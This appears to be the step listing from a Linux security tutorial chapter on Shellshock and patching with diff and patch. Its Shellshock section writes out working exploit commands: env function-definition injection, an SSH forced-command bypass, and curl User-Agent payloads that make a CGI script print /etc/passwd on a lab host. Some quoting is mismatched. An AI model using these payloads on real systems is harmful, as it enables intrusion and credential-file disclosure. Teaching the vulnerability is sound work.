9

Bash Vulnerability Patching

# Understanding bash vulnerability – Shellshock

## How to do it…

1. bash --version
2. env x=’() { :;}; echo shellshock’ bash -c “echo testing”
3. testvar=”shellshock’
4. echo $testvar
5. bash
6. echo $testvar
7. export testvar=”shellshock”
8. echo $testvar
9. bash
10. echo $testvar
11. x() {echo ‘shellshock’;}
12. x
13. export -f x
14. bash
15. x
16. export testfunc=’() { echo ‘shellshock’;}’
17. echo $testfunc
18. testfunc
19. bash
20. testfunc
21. export testfunc=’() { echo ‘shellshock’;}; echo “vulnerable”’
22. bash
23. testfunc

# Security issues - Shellshock

## Getting Ready

apt-get install openssh-server

## How to do it…

1. useradd -d /home/user1 -s /bin/bash user1
2. cat /etc/passwd | grep ‘user1’
3. cd /home
4. mkdir user1
5. chown -R user1 /home/user1/
6. ssh-keygen -t rsa
7. cd Desktop
8. ls
9. sftp root@192.168.1.101

put id\_rsa.pub /root/

1. mkdir /home/user1/.ssh
2. cat id\_rsa.pub > /home/user1/.ssh/authorized\_keys
3. nano etc/ssh/sshd\_config

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile %h/.ssh/authorized\_keys

1. ssh user1@192.168.1.101
2. nano sample.sh

#!/bin/bash

set $SSH\_ORIGINAL\_COMMAND

if [ $SSH\_ORIGINAL\_COMMAND = “date” ]

then

echo ‘restricted

else

echo “$@”

fi

1. chmod +x sample.sh
2. nano /home/user1/.ssh/authorized\_keys
3. command=”/home/user1/.ssh/sample.sh”
4. ssh user1@192.168.1.101 date
5. ssh user1@192.168.1.101 ‘() { :;}; date’
6. apt-get install apache2
7. service apache2 start
8. cd /usr/lib/cgi-bin/
9. nano example.sh

#!/bin/bash

echo ‘Content-type:text/html’

echo ‘’

echo ‘Example Page’

1. chmod +x example.sh
2. curl http://192.168.1.101/cgi-bin/example.sh
3. curl -A ‘() { :;}; echo “Content-type: text/plain”; echo; /bin/cat /etc/passwd http://192.168.1.104/cgi-bin/example.sh
4. curl -A ‘() { :;}; echo “Content-type: text/plain”; echo; /bin/ls –al’ http://192.168.1.104/cgi-bin/example.sh

## How it works…

# Linux patch management system

## How to do it…

1. cat /etc/apt/sources.list

# Applying patches in Linux

## How to do it...

1. cat example.c

#include <stdio.h>

int main()

{

printf(“This is an example\n”);

}

1. cp example.c example\_new.c
2. nano example\_new.c

#include <stdio.h>

int main(int argc)

{

printf(“This is an example\n”);

return 0;

}

1. diff -u example.c example\_new.c > example.patch
2. cat example.patch
3. patch -b < example.patch
4. patch --dry-run < example.patch
5. patch < example.patch
6. cat example.c
7. patch -R < example.patch